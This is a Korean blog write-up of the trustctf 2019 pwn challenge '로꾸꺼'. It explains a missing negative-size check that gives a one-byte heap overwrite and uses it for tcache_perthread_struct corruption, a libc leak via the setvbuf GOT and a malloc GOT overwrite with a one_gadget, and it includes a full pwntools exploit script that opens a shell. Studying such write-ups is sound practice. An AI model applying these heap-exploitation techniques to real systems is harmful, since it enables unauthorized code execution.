trustctf 2019 로꾸꺼
이 바이너리는 할 수 있는게 add
밖에 없어서 처음에 많이 당황했었는데 tcache
libc
가 주어진 걸 후에 알아차리고 후딱 풀긴 했는데 아주 재밌는 문제였다고 생각한다.
size2
가 음수인지 검사를 하지 않는다.
size2
를 음수로 넣는다면 위 read_input
함수에서 뒷 부분의 heap chunk
의 데이터를 1byte
덮어씌울 수 있다.
먼저, 이를 이용하여 tcache_perthread_struct
의 counts
, entries
를 덮어 임의의 free chunk
를 만들어 준다.
print_reverse
함수로 *chunk[pivot]
의 값을 출력해주기 때문에 setvbuf_got
를 할당받는다면 setvbuf_libc
를 leak
할 수 있다.
그 후, malloc_plt
를 one_gadget
으로 덮어 쉘을 얻으면 된다.
x
from pwn import *
import struct
#context.log_level = 'debug'
e = ELF('./prob')
s = connect('server.trustctf.com', 38237)
#s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
def menu(sel):
sla('> ', sel)
def add(size, size2, data):
menu('1')
sla('> ', size)
sla('> ', size2)
sla('> ', data)
setvbuf = 0x602058
add('1', '-621', '\x01')
add('1', str(-543-64), '\x58')
add('1', str(-542-64*2), '\x20')
add('1', str(-541-64*3), '\x60')
add(str(0x30), str(0x0), '\x00')
ru('DATA')
ru('\x0a')
ru('\x00')
l_base = hex(struct.unpack('>Q', s.recv(6).ljust(8, '\x00'))[0])[0:14]
l_base = int(l_base,16) - l.symbols['setvbuf']
log.info('l_base!: {}'.format(hex(l_base)))
one_list = [0x4f2c5, 0x4f322, 0x10a38c]
one = l_base + one_list[2]
log.info('one: {}'.format(hex(one)))
malloc = 0x602050
add('1', str(-543-64*5+0x20), '\x50')
add('1', str(-542-64*6+0x20), '\x20')
add('1', str(-541-64*7+0x20), '\x60')
add('1', str(-540-64*8+0x20), '\x00')
add('1', str(-539-64*9+0x20), '\x00')
add('1', str(-538-64*10+0x20), '\x00')
one = struct.pack('>Q', one)
add(str(0x30), str(0x8), one)
menu('1')
sl('1')
io()
!llehs teg
'system > writeup' 카테고리의 다른 글
trustctf 2019 abyss (2) | 2019.02.15 |
---|---|
trustctf 2019 start (2) | 2019.02.15 |
hitcon 2016 house of orange (0) | 2019.02.13 |
pwnable.tw babystack (0) | 2019.02.11 |
pwnable.tw death note (0) | 2019.02.10 |